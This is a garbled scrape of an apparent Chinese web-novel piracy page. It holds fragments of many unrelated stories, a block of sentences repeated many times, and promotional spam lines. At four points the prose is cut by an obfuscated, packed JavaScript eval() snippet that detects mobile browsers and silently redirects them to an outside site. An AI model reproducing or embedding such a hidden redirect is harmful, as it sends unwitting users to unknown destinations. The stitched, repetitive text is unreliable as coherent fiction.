所以,当我们的董大学士在听到二皇子回宫的消息后,第一反应是长长的松了一口气,第二反应就是吩咐下人,进宫。 此刻,他的脑海中浮现出了刚刚的那一幕,浮现出了城门关上的下一秒,那个倔强男人对他无声说出的一句话。 如果有人修炼了不止一种凝晶灵诀,那怎么办?早在远古,前人就制造了一种灵诀,转换灵诀!顾名思义,就是用切换灵诀的灵诀。 本来还很担心沐倾城的火颖听到她这个时候还能如此乱说,便知道她没大碍了。 “我一直就没想要和你计较,只是有的东西,你真的该给他们该有的尊重,不然他们生气了很严重的。 一共四种装备,是易川从系统商店中挑选出来的,由于这四件装备是系统设置的商品,所以只要有钱,数量是可以无限购买的。 露西很高兴的被我拉到礼堂,“闭上眼睛!露西乖乖的闭上眼睛,露西一闭上眼睛,我就把礼堂的灯关了。 一贯嘻嘻哈哈的段言,难得一本正经了一回。只见他默默的回望了一眼队伍的后面,便默然不语了。谁也不知他此时在想些什么。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “那斯羽哥我先走了。”沈炎萧乖巧的同沈斯羽道别虽说今天听到的这一切确实有些惊悚但是她却也没有对沈斯羽生出任何的疏离之感。 自古亲事便是父母之命媒妁之言她挑的又是知根知底的不会让她步顾容澜的后尘。 她声音虽然是质问的语气但那眼神分明就是笃定她认定是明澜给方姨娘下毒的目的是害方姨娘腹中胎儿。 胤禛大刀阔斧的整顿起风声鹤唳的内务府也总是拿着内务府各种账本回府磨着哄着舒瑶帮他看账本不是胤禛不争气但他看五本账本的功夫舒瑶能核算出十本来胤禛当然会让舒瑶坐在他怀里看账本了。 可是见到沈炎萧之后他们会明白上天对沈炎萧有多么的偏爱。 “肺痨!”韩枫一只手放在了子和的手腕上开始把脉一下就明白了这个病的根源是什么就是肺痨怪不得寻遍名医都没用 对此林东是非常满意的秦筱米同样很开心既帮到了林东又没让老爷子失望。 叶子恒远远向霸天他们比了一个OK的手势然后继续向甬道深处走去。 他缓步来到山羊旁毫不客气的将它拎了起来揪起一撮**就准备拔。 叶子恒当即反应过来或许这其中就是那个所谓的“帝王之心”在作怪吧。难怪那个变态如此迫切的想得到欧阳天沐的身体。 “……”虽然耿之明内心真的毫无波澜甚至还想再睡一觉但理智还是阻止了他这种作死的行为。 “说你怎么能吸收那么多的真气的?”不等沐白开口。辰清雪先发制人怒声问道。 官场上的明眼人看到的东西自然和常人不同他所看见的是秦府的大势已成。 叶子恒一眼便看上了这里而且更重要的时这门面的门口居然贴着面门出租的字样。 所以当我们的董大学士在听到二皇子回宫的消息后第一反应是长长的松了一口气第二反应就是吩咐下人进宫。 此刻他的脑海中浮现出了刚刚的那一幕浮现出了城门关上的下一秒那个倔强男人对他无声说出的一句话。 如果有人修炼了不止一种凝晶灵诀那怎么办?早在远古前人就制造了一种灵诀转换灵诀!顾名思义就是用切换灵诀的灵诀。 本来还很担心沐倾城的火颖听到她这个时候还能如此乱说便知道她没大碍了。 “我一直就没想要和你计较只是有的东西你真的该给他们该有的尊重不然他们生气了很严重的。”许逸轩淡淡的说道。 一共四种装备是易川从系统商店中挑选出来的由于这四件装备是系统设置的商品所以只要有钱数量是可以无限购买的。 露西很高兴的被我拉到礼堂“闭上眼睛!”露西乖乖的闭上眼睛露西一闭上眼睛我就把礼堂的灯关了。 一贯嘻嘻哈哈的段言难得一本正经了一回。只见他默默的回望了一眼队伍的后面便默然不语了。谁也不知他此时在想些什么。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “那斯羽哥我先走了。沈炎萧乖巧的同沈斯羽道别,虽说今天听到的这一切确实有些惊悚,但是她却也没有对沈斯羽生出任何的疏离之感。 自古亲事便是父母之命媒妁之言,她挑的又是知根知底的,不会让她步顾容澜的后尘。 她声音虽然是质问的语气,但那眼神分明就是笃定,她认定是明澜给方姨娘下毒的,目的是害方姨娘腹中胎儿。 胤禛大刀阔斧的整顿起风声鹤唳的内务府也总是拿着内务府各种账本回府磨着哄着舒瑶帮他看账本不是胤禛不争气但他看五本账本的功夫舒瑶能核算出十本来胤禛当然会让舒瑶坐在他怀里看账本了。 可是见到沈炎萧之后,他们会明白,上天对沈炎萧有多么的偏爱。 “肺痨!韩枫一只手放在了子和的手腕上开始把脉,一下就明白了这个病的根源是什么,就是肺痨,怪不得寻遍名医都没用,这在古代死亡率最高的一种疾病。 对此,林东是非常满意的,秦筱米同样很开心,既帮到了林东,又没让老爷子失望。 叶子恒远远向霸天他们比了一个OK的手势,然后继续向甬道深处走去。 他缓步来到山羊旁,毫不客气的将它拎了起来,揪起一撮**就准备拔。 叶子恒当即反应过来,或许这其中就是那个所谓的“帝王之心在作怪吧。难怪那个变态如此迫切的想得到欧阳天沐的身体。 “……虽然耿之明内心真的毫无波澜甚至还想再睡一觉,但理智还是阻止了他这种作死的行为。 “说,你怎么能吸收那么多的真气的?不等沐白开口。辰清雪先发制人,怒声问道。 官场上的明眼人看到的东西自然和常人不同,他所看见的是秦府的大势已成。 叶子恒一眼便看上了这里,而且更重要的时,这门面的门口居然贴着面门出租的字样。 所以,当我们的董大学士在听到二皇子回宫的消息后,第一反应是长长的松了一口气,第二反应就是吩咐下人,进宫。 此刻,他的脑海中浮现出了刚刚的那一幕,浮现出了城门关上的下一秒,那个倔强男人对他无声说出的一句话。 如果有人修炼了不止一种凝晶灵诀,那怎么办?早在远古,前人就制造了一种灵诀,转换灵诀!顾名思义,就是用切换灵诀的灵诀。 本来还很担心沐倾城的火颖听到她这个时候还能如此乱说,便知道她没大碍了。 “我一直就没想要和你计较,只是有的东西,你真的该给他们该有的尊重,不然他们生气了很严重的。 一共四种装备,是易川从系统商店中挑选出来的,由于这四件装备是系统设置的商品,所以只要有钱,数量是可以无限购买的。 露西很高兴的被我拉到礼堂,“闭上眼睛!露西乖乖的闭上眼睛,露西一闭上眼睛,我就把礼堂的灯关了。 一贯嘻嘻哈哈的段言,难得一本正经了一回。只见他默默的回望了一眼队伍的后面,便默然不语了。谁也不知他此时在想些什么。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “那斯羽哥我先走了。”沈炎萧乖巧的同沈斯羽道别虽说今天听到的这一切确实有些惊悚但是她却也没有对沈斯羽生出任何的疏离之感。 自古亲事便是父母之命媒妁之言她挑的又是知根知底的不会让她步顾容澜的后尘。 她声音虽然是质问的语气但那眼神分明就是笃定她认定是明澜给方姨娘下毒的目的是害方姨娘腹中胎儿。 胤禛大刀阔斧的整顿起风声鹤唳的内务府也总是拿着内务府各种账本回府磨着哄着舒瑶帮他看账本不是胤禛不争气但他看五本账本的功夫舒瑶能核算出十本来胤禛当然会让舒瑶坐在他怀里看账本了。 可是见到沈炎萧之后他们会明白上天对沈炎萧有多么的偏爱。 “肺痨!”韩枫一只手放在了子和的手腕上开始把脉一下就明白了这个病的根源是什么就是肺痨怪不得寻遍名医都没用这在古代死亡率最高的一种疾病。 对此林东是非常满意的秦筱米同样很开心既帮到了林东又没让老爷子失望。 叶子恒远远向霸天他们比了一个OK的手势然后继续向甬道深处走去。 他缓步来到山羊旁毫不客气的将它拎了起来 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)揪起一撮**就准备拔。 叶子恒当即反应过来或许这其中就是那个所谓的“帝王之心”在作怪吧。难怪那个变态如此迫切的想得到欧阳天沐的身体。 “……”虽然耿之明内心真的毫无波澜甚至还想再睡一觉但理智还是阻止了他这种作死的行为。 “说你怎么能吸收那么多的真气的?”不等沐白开口。辰清雪先发制人怒声问道。 官场上的明眼人看到的东西自然和常人不同他所看见的是秦府的大势已成。 叶子恒一眼便看上了这里而且更重要的时这门面的门口居然贴着面门出租的字样。 所以当我们的董大学士在听到二皇子回宫的消息后第一反应是长长的松了一口气第二反应就是吩咐下人进宫。 此刻他的脑海中浮现出了刚刚的那一幕浮现出了城门关上的下一秒那个倔强男人对他无声说出的一句话。 如果有人修炼了不止一种凝晶灵诀那怎么办?早在远古前人就制造了一种灵诀转换灵诀!顾名思义就是用切换灵诀的灵诀。 本来还很担心沐倾城的火颖听到她这个时候还能如此乱说便知道她没大碍了。 “我一直就没想要和你计较只是有的东西你真的该给他们该有的尊重不然他们生气了很严重的。”许逸轩淡淡的说道。 一共四种装备是易川从系统商店中挑选出来的由于这四件装备是系统设置的商品所以只要有钱数量是可以无限购买的。 露西很高兴的被我拉到礼堂“闭上眼睛!”露西乖乖的闭上眼睛露西一闭上眼睛我就把礼堂的灯关了。 一贯嘻嘻哈哈的段言难得一本正经了一回。只见他默默的回望了一眼队伍的后面便默然不语了。谁也不知他此时在想些什么。 你的朋友正在书荒,快去帮帮他吧 “那斯羽哥我先走了。”沈炎萧乖巧的同沈斯羽道别,虽说今天听到的这一切确实有些惊悚,但是她却也没有对沈斯羽生出任何的疏离之感。 自古亲事便是父母之命媒妁之言,她挑的又是知根知底的,不会让她步顾容澜的后尘。 她声音虽然是质问的语气,但那眼神分明就是笃定,她认定是明澜给方姨娘下毒的,目的是害方姨娘腹中胎儿。 胤禛大刀阔斧的整顿起风声鹤唳的内务府也总是拿着内务府各种账本回府磨着哄着舒瑶帮他看账本不是胤禛不争气但他看五本账本的功夫舒瑶能核算出十本来胤禛当然会让舒瑶坐在他怀里看账本了。 可是见到沈炎萧之后,他们会明白,上天对沈炎萧有多么的偏爱。 “肺痨!”韩枫一只手放在了子和的手腕上开始把脉,一下就明白了这个病的根源是什么,就是肺痨,怪不得寻遍名医都没用,这在古代死亡率最高的一种疾病。 对此,林东是非常满意的,秦筱米同样很开心,既帮到了林东,又没让老爷子失望。 叶子恒远远向霸天他们比了一个OK的手势,然后继续向甬道深处走去。 他缓步来到山羊旁,毫不客气的将它拎了起来,揪起一撮**就准备拔。 叶子恒当即反应过来,或许这其中就是那个所谓的“帝王之心”在作怪吧。难怪那个变态如此迫切的想得到欧阳天沐的身体。 “……”虽然耿之明内心真的毫无波澜甚至还想再睡一觉,但理智还是阻止了他这种作死的行为。 “说,你怎么能吸收那么多的真气的?”不等沐白开口。辰清雪先发制人,怒声问道。 官场上的明眼人看到的东西自然和常人不同,他所看见的是秦府的大势已成。 叶子恒一眼便看上了这里,而且更重要的时,这门面的门口居然贴着面门出租的字样。 所以,当我们的董大学士在听到二皇子回宫的消息后,第一反应是长长的松了一口气,第二反应就是吩咐下人,进宫。 此刻,他的脑海中浮现出了刚刚的那一幕,浮现出了城门关上的下一秒,那个倔强男人对他无声说出的一句话。 如果有人修炼了不止一种凝晶灵诀,那怎么办?早在远古,前人就制造了一种灵诀,转换灵诀!顾名思义,就是用切换灵诀的灵诀。 本来还很担心沐倾城的火颖听到她这个时候还能如此乱说,便知道她没大碍了。 “我一直就没想要和你计较,只是有的东西,你真的该给他们该有的尊重,不然他们生气了很严重的。”许逸轩淡淡的说道。 一共四种装备,是易川从系统商店中挑选出来的,由于这四件装备是系统设置的商品,所以只要有钱,数量是可以无限购买的。 露西很高兴的被我拉到礼堂,“闭上眼睛!”露西乖乖的闭上眼睛,露西一闭上眼睛,我就把礼堂的灯关了。 一贯嘻嘻哈哈的段言,难得一本正经了一回。只见他默默的回望了一眼队伍的后面,便默然不语了。谁也不知他此时在想些什么。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “那斯羽哥我先走了。”沈炎萧乖巧的同沈斯羽道别,虽说今天听到的这一切确实有些惊悚,但是她却也没有对沈斯羽生出任何的疏离之感。 自古亲事便是父母之命媒妁之言,她挑的又是知根知底的,不会让她步顾容澜的后尘。 她声音虽然是质问的语气,但那眼神分明就是笃定,她认定是明澜给方姨娘下毒的,目的是害方姨娘腹中胎儿。 胤禛大刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229091|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阔斧的整顿起风声鹤唳的内务府也总是拿着内务府各种账本回府磨着哄着舒瑶帮他看账本不是胤禛不争气但他看五本账本的功夫舒瑶能核算出十本来胤禛当然会让舒瑶坐在他怀里看账本了。 可是见到沈炎萧之后,他们会明白,上天对沈炎萧有多么的偏爱。 “肺痨!”韩枫一只手放在了子和的手腕上开始把脉,一下就明白了这个病的根源是什么,就是肺痨,怪不得寻遍名医都没用,这在古代死亡率最高的一种疾病。 对此,林东是非常满意的,秦筱米同样很开心,既帮到了林东,又没让老爷子失望。 叶子恒远远向霸天他们比了一个OK的手势,然后继续向甬道深处走去。 他缓步来到山羊旁,毫不客气的将它拎了起来,揪起一撮**就准备拔。 叶子恒当即反应过来,或许这其中就是那个所谓的“帝王之心”在作怪吧。难怪那个变态如此迫切的想得到欧阳天沐的身体。 “……”虽然耿之明内心真的毫无波澜甚至还想再睡一觉,但理智还是阻止了他这种作死的行为。 “说,你怎么能吸收那么多的真气的?”不等沐白开口。辰清雪先发制人,怒声问道。 官场上的明眼人看到的东西自然和常人不同,他所看见的是秦府的大势已成。 叶子恒一眼便看上了这里,而且更重要的时,这门面的门口居然贴着面门出租的字样。 所以,当我们的董大学士在听到二皇子回宫的消息后,第一反应是长长的松了一口气,第二反应就是吩咐下人,进宫。 此刻,他的脑海中浮现出了刚刚的那一幕,浮现出了城门关上的下一秒,那个倔强男人对他无声说出的一句话。 如果有人修炼了不止一种凝晶灵诀,那怎么办?早在远古,前人就制造了一种灵诀,转换灵诀!顾名思义,就是用切换灵诀的灵诀。 本来还很担心沐倾城的火颖听到她这个时候还能如此乱说,便知道她没大碍了。 “我一直就没想要和你计较,只是有的东西,你真的该给他们该有的尊重,不然他们生气了很严重的。”许逸轩淡淡的说道。 一共四种装备,是易川从系统商店中挑选出来的,由于这四件装备是系统设置的商品,所以只要有钱,数量是可以无限购买的。 露西很高兴的被我拉到礼堂,“闭上眼睛!”露西乖乖的闭上眼睛,露西一闭上眼睛,我就把礼堂的灯关了。 一贯嘻嘻哈哈的段言,难得一本正经了一回。只见他默默的回望了一眼队伍的后面,便默然不语了。谁也不知他此时在想些什么。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “那斯羽哥我先走了。”沈炎萧乖巧的同沈斯羽道别,虽说今天听到的这一切确实有些惊悚,但是她却也没有对沈斯羽生出任何的疏离之感。 自古亲事便是父母之命媒妁之言,她挑的又是知根知底的,不会让她步顾容澜的后尘。 她声音虽然是质问的语气,但那眼神分明就是笃定,她认定是明澜给方姨娘下毒的,目的是害方姨娘腹中胎儿。 胤禛大刀阔斧的整顿起风声鹤唳的内务府也总是拿着内务府各种账本回府磨着哄着舒瑶帮他看账本不是胤禛不争气但他看五本账本的功夫舒瑶能核算出十本来胤禛当然会让舒瑶坐在他怀里看账本了。 可是见到沈炎萧之后,他们会明白,上天对沈炎萧有多么的偏爱。 “肺痨!”韩枫一只手放在了子和的手腕上开始把脉,一下就明白了这个病的根源是什么,就是肺痨,怪不得寻遍名医都没用,这在古代死亡率最高的一种疾病。 对此,林东是非常满意的,秦筱米同样很开心,既帮到了林东,又没让老爷子失望。 叶子恒远远向霸天他们比了一个OK的手势,然后继续向甬道深处走去。 他缓步来到山羊旁,毫不客气的将它拎了起来,揪起一撮**就准备拔。 叶子恒当即反应过来,或许这其中就是那个所谓的“帝王之心”在作怪吧。难怪那个变态如此迫切的想得到欧阳天沐的身体。 “……”虽然耿之明内心真的毫无波澜甚至还想再睡一觉,但理智还是阻止了他这种作死的行为。 “说,你怎么能吸收那么多的真气的?”不等沐白开口。辰清雪先发制人,怒声问道。 官场上的明眼人看到的东西自然和常人不同,他所看见的是秦府的大势已成。 叶子恒一眼便看上了这里,而且更重要的时,这门面的门口居然贴着面门出租的字样。 所以,当我们的董大学士在听到二皇子回宫的消息后,第一反应是长长的松了一口气,第二反应就是吩咐下人,进宫。 此刻,他的脑海中浮现出了刚刚的那一幕,浮现出了城门关上的下一秒,那个倔强男人对他无声说出的一句话。 如果有人修炼了不止一种凝晶灵诀,那怎么办?早在远古,前人就制造了一种灵诀,转换灵诀!顾名思义,就是用切换灵诀的灵诀。 本来还很担心沐倾城的火颖听到她这个时候还能如此乱说,便知道她没大碍了。 “我一直就没想要和你计较,只是有的东西,你真的该给他们该有的尊重,不然他们生气了很严重的。”许逸轩淡淡的说道。 一共四种装备,是易川从系统商店中挑选出来的,由于这四件装备是系统设置的商品,所以只要有钱,数量是可以无限购买的。 露西很高兴的被我拉到礼堂,“闭上眼睛!”露西乖乖的闭上眼睛,露西一闭上眼睛,我就把礼堂的灯关了。 一贯嘻嘻哈哈的段言,难得一本正经了一回。只见他默默的回望了一眼队伍的后面,便默然不语了。谁也不知他此时在想些什么。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “那斯羽哥我先走了。”沈炎萧乖巧的同沈斯羽道别,虽说今天听到的这一切确实有些惊悚,但是她却也没有对沈斯羽生出任何的疏离之感。 自古亲事便是父母之命媒妁之言,她挑的又是知根知底的,不会让她步顾容澜的后尘。 她声音虽然是质问的语气,但那眼神分明就是笃定,她认定是明澜给方姨娘下毒的,目的是害方姨娘腹中胎儿。 胤禛大刀阔斧的整顿起风声鹤唳的内务府也总是拿着内务府各种账本回府磨着哄着舒瑶帮他看账本不是胤禛不争气但他看五本账本的功夫舒瑶能核算出十本来胤禛当然会让舒瑶坐在他怀里看账本了。 可是见到沈炎萧之后,他们会明白,上天对沈炎萧有多么的偏爱。 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李清略微有些脸红,紫金神龙这话着实是太打击人了,什么叫你也达不到,不过现在的他也的确没必要知道那么多,连一向谁都不放在眼里的紫金神龙都觉得遥不可及,估计就算是到了神界,也不一定能够遇见。 说的是那般的坚定,那般的不容置疑,但如今距离万族大战只剩下三日不到,他却依旧没有半点消息传来,可是即便如此,兰若离心中依旧在自我安慰,他一定在赶来的路上,神界太大,他还不熟,在等一会便会来了。 “不行!这项链是水师姐送的东西,我不能随便拿它来当赌注!”王辰断然拒绝,他虽然并不知道月之影的珍贵,但也知道不能随便糟蹋别人的东西。 “马上找到狙击手!”安东尼冷静的声音从耳机里传出,让众人的精神不由得一凛,纷纷四下寻找对方狙击手的位置。 公子这个时候思绪也很复杂。首先在想残魂,经过一段时间的相处,残魂的确给了公子不少的好感,不过坚如磐石的合作伙伴关系还没有建立,但眼下只能和其合作。 黎婷的措辞简明扼要,句句直指要害,让人不暇思索就能构想出一幅惊心动魄的**场景。 龙星羽在崔不及防之下,被这白光冲入体内,他顿时觉得大脑一片空白,像是有无数的东西涌入脑海,涌入他的记忆。 沉默了一会,固执要走的冷然知道机会来了。他把身体悄悄地藏在一个黑衣人的身后,做得相当巧妙,不留半点痕迹。 说完,我松开握住刀子的手,上面沾了血,我估计是刀子割破了林城的手指,有些还滴到我衣服上,红色的一点一滴,看起来猩红猩红的,有点吓人。 唐枫一阵无语,这家伙竟然这么好骗?不过这样一来,对方不会死心了吧? 那可怕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247345|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同化之息,确实很容易迷惑住一些心志不艰的家伙不是? 只是他尚不明白,以魔星的强大,为何会被他们一次次算计个正着? 海正翁一路向众人介绍了学府中的一些事物,唐枫也抱着看风景的心思,显得几分清闲。 过了一会儿,秦泽阳他妈妈和产科医生出去商量,乔辰去帮我去检查报告,阿姨回家帮我煲汤,只剩下秦泽阳在病房里陪我。 韩一鸣并不想见元慧,虽不怕见他,但不想见他。要见也成,等此间无名的事了了再见也不迟。 消息陈一路畅通无阻,一直走到了大街上,他紧握着手腕,兜里揣着自己的另一只手,跌跌撞撞,一路流血,路上的人都被他吓傻了,纷纷退避躲让。 王青松的修为大进,但依旧不敌腾蛟剑,被韩一鸣一挥挥得灵光散去。 若是旁人听了这话,说不定会大怒,而韩一鸣却松了口气,每次离开灵山他都没想着能平安回去。元慧是说出了他的心思,但这一切他都是心甘情愿的,因此不气也不恼。 第一卷 第221章 不服陈三 从殷氏的正房出来后,林学渊回了他住的倒座房。 婆婆默默的看了霓裳一眼,没回答,这样的问题,她一个下人,肯定是没法评论什么的。 “这么多东西,你拿的完吗?”姜糖说着,看向两个行李箱和两个包,以及一个长布盒,也不知道他拿的是什么。 他们手中并无武器,都是赤手空拳,只因他们乃是蒙古摔跤高手,合技之术更是无双无对,但是面对封舟的时候,那就不够看的了。 为了解开心中的疑惑,官七画只得让蓝雪玉带着她前去现场见识见识。 “哈哈,那是肯定的,好看的人,走在哪里都好看。那你没有被那些喜欢你表哥的姑娘们瞪几眼?”胡二丫笑哈哈的问道,那样的画面,想想就好笑。 “好。”瑶池圣主闻言当即点了点头,同意了苏牧的要求,这段时间来她的腹中的确感觉有些异常,明明没有怀孕却仿佛存在着生命体一样,这让她内心也有些担忧,会不会是什么其他的东西钻进了她的身体里。 可是他心中也是一紧,老王平时是十分注重自己的,而且这个老男人长得也不帅,老老实实的,怎么可能去那种场所。 “来了来了,诸位准备,拦住那些想要逃走的水族!”白眉准帝当即出声说道。 这可是个连狠话都不留的对手,显然不会因为智商问题死于话多。 话音落下,雷鸣将一枚空间戒指交给了苏牧,苏牧接过戒指透过神识查看了一番,五万枚白净的玉牌平缓的躺在戒指中的空间内。 忌寅,禁响,避犯丧。但“肉体”往棺材里放时,却又装不进去,把左胳膊压下去,右胳膊又出来,胳膊是僵硬的,弯得像镰刀。 伴随时间流逝黑龙公司名号传播越来越广,黑龙也成为秦江代名词。 多亏了三年以来,他从种下这五亩二阶灵植开始,一直勤耕不辍。 刘素芬就按照昨天商量好的,没个态度,“你来有什么事。”石慧昨天带着刘母硬闯自己家,今天要是态度还跟以前一样好,傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247346|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都知道有古怪。 秦遥在跟候场的赵匡胤和赵光义说了一下之后,便开始到控制室操纵起来了会场的灯光来了。 董家一家的力量就已经让人非常的忌惮,再加上一个有着少壮派的孙家,这里面传递出来的信息简直不要太多。 两船之间的距离起码有十二米吗,而那根铁链也只有两根手指粗。 异能检测规定在孩子三岁生日那天。那一天不论是贫穷富贵,都要到指定的祭坛举行异能检测。会有很多人来观看,一个孩子的天赋值。可能会给ta的家庭带来巨大的改变。 到了下午4点多的时候,在人民党指挥部,刘承和徐前正在商议着战局。 蓝新颜被她目不转睛地盯着,看一会,情不自禁地心虚,脸红,害羞。 “那锤子虽然能同时使出雷、火两种本源,但顶多算得上逆天之宝,并不是神宝。”比蒙王说道。 “是吗?不过某些人刚才脸色可是沉沉着来的。”何月妍马上揭了刘一飞的老底。 第一卷 第222章 真实身世 颍川,陈府。 陈文益的身体一点点好了起来,可以下床了。 但毕竟年纪大了,遭此一难,还是伤了些元气,精神头没以前足了。 “究竟是何人伤的祖父,祖父没有头绪吗?”陈宴问。 陈文益摇头:“没有。” 陈宴却道:“究竟是没有头绪,还是祖父不愿意告诉孙儿?” 落刀士兵见村主如此瞅自己,赶紧将头转了过去,不敢再瞅村主。他转过头去,接着也将身子转了过去,看着其他三位士兵。 进了黑暗之城的城‘门’,项昊立即就闻到了一股浓郁的血腥味夹杂着刺鼻的恶臭味扑面而来,因为脏‘乱’的街道上有腐朽的尸体和干固的血迹,还有一些森然白骨,很‘阴’森。 但让人震惊的是项昊竟未**霸天一刀劈开,宝体强悍的离谱,扛住了胡霸天的凶猛一刀。 “是我。”卢植淡淡的应了一声。看见了这不可思议的一幕,这样棘手的情况,他也没有半分的慌乱。身为一军之帅,无论如何都不能慌乱,就算是全军都陷入慌乱之中,只要主帅不动,那么整支军队就不会出现太大的问题。 话落,便化作一道金红色的流光,划破虚空,追赶而去,而艾琳因为叶晨传授过飞行技法,也跟了上去。 见这两个少年面色憨厚淳朴,傅羲知道他们没什么恶意,正巧这个少年又是给他送饭的,说明他有这里的钥匙,傅羲心中顿时有了主意。 高空之上,站在飞剑上的方逸松了口气,太可怕了,这黑色巨猿的弹跳力太强了,不可力敌。 鲜卑骑兵与并州骑军之间的距离越来越近,都在朝着对方飞速前进,面对面的,他们越来越清晰,清晰的可以看见互相脸上的表情,从轮廓,到现在的每一个嘴角狰狞的勾起,都无比清晰的倒映在彼此的眼睛里面。 周泰也不是笨蛋,自然是明白了周瑜的意思,只是实在出乎他的意料,这刘咏的亚新也太大了吧。 高耸的海岛依然还在,因为所处位置的不同,岛上的景致显得更加清晰,上面有各种奇花异草,竟然还有一片桃林, 林中全是一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247347|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗硕大的嫣红桃子。 而这歌声之所以引得旁人如痴如醉欲罢不能就是因为楚然身中幻术所以他唱歌之时这些听众或多或少都受到了幻术所带来的影响被影响了心智。 可就在所有人斗觉得这将是异常精彩大战的时候令人错愕的一幕发生了。 就比如现在他真不知道这坑货是从哪里看出来人家妹子是怀了他的孩子的。 可是今天白天行如此激烈的做法却超出了他的理解范畴莫非这样也能获得反馈? 甚至新兴也多次遭到兵临城下所以历届新兴之主都会对新兴城进行修筑加高加厚城中也常年储存有大量的守城器械与粮草。 他们的初创时间都是在17世纪30年代也就是清J徒开始大规模向新英格兰地区迁徙的那几年。 “我我好像有道魂了?”莫嵩的语气特别激动毕竟别人都有道魂而他 到了这个时候会议上的众人算得上是泾渭分明了也代表战争似乎马上就会到来。 直到他平灭了燕都之后从燕都朝廷那里得知了当初北齐与西陈做的交易。 第一卷 第223章 狂妄自大 “那你继续……”林诗韵就觉得以自己这淡定的性子都恨不得一巴掌把夜破晓拍到那张海报上。 直到嗅到到来自于陈浮云外套上那股淡淡的烟草气息,黄嘉怡才从刚才那绝望中悠悠的睁开眸子,然后看见了一道与二哥近乎完全相似的背影。 而此时赵衡坦然的说了出来,一是因为今日这一念之间,生死关头,他突然就透了。事无不可对人言。 “是生病,相思病!”李晓诗叹了口气,然后把刘力宏的事情解释了一遍,又把**刚才说要给他针灸减肥的事情也说了一遍。 势大力沉的破军战斧重重的砍在骷髅战士举起的重剑之上,刹那间,清脆的金铁交击声震荡四野。 “你们说的不错,轩辕黄帝算是我的舅舅。”古风走了进来,他看了三人一眼,笑着说道。 “他们手上有人命,自有人间律法逞治,而妖**更是有违天道,便是情有可愿,那也得经过人间律法,人间帝王的审判才行。”法海继续道。 德累斯顿迪纳摩队上下也都明白这一点,因此天后联盟杯半决赛的第二回合比赛中毫无保留地全力以赴。 韫哥儿却推开了茶水,把泥泥叫塞到了茶盅里,然后学着集萤的样子把泥泥叫拿出来,使劲地甩了甩。 周少瑾没有吱声,想着如果她是唐老安人,想求长房帮忙把程识引荐给京城的士子,就不会让识大奶奶抱着两个孩子来这里刺激郭老夫人。 此人身穿一件青衫,腰间挂着一柄宝剑,面容俊朗,气质飘逸,从装扮上来看,很像是一位古代的剑客,正是江南公会江南古意。 夜叶都被蛇尸给吓晕了,何况是苏绾,不把苏绾吓晕,如何对得起,他特意让人搬来的尸体。 “你就等着瞧吧!”一宫贵出也可谓状态非凡,撒开腿全力奔跑着的他像一束闪电般穿越了二垒,然后毫不减速的朝着三垒冲了过去。 “出嫁了?我怎么不知道?”龙香叶弱弱地说道,一副十分好脾气的样子。跟以前的样子实在是大相径庭。 崇祯七年四月,坐镇草原的征北军终于出兵,发檄传召天下,奉崇 祯圣旨辽国公李信率领征北军精锐五万人出兵南下剿灭叛逆。一时间天下震动京师中谣言四起赞赏有之愤恨者有之污蔑者也有不少。 “这……”孙洋迟疑了一下他还是没办法像赵麟那样充满信心。 就目前的情况来看异族士兵和人类士兵的总数加起来达到了500万左右 双方如同约好一般同一时刻冲向对方以漫天的雨水为遮挡展开一场只能是你死或者我活的厮杀。 暄少奇拿出一个玄霄宫给奶宝练手王锦凌同样让人把哲哲弄来给奶宝练手。 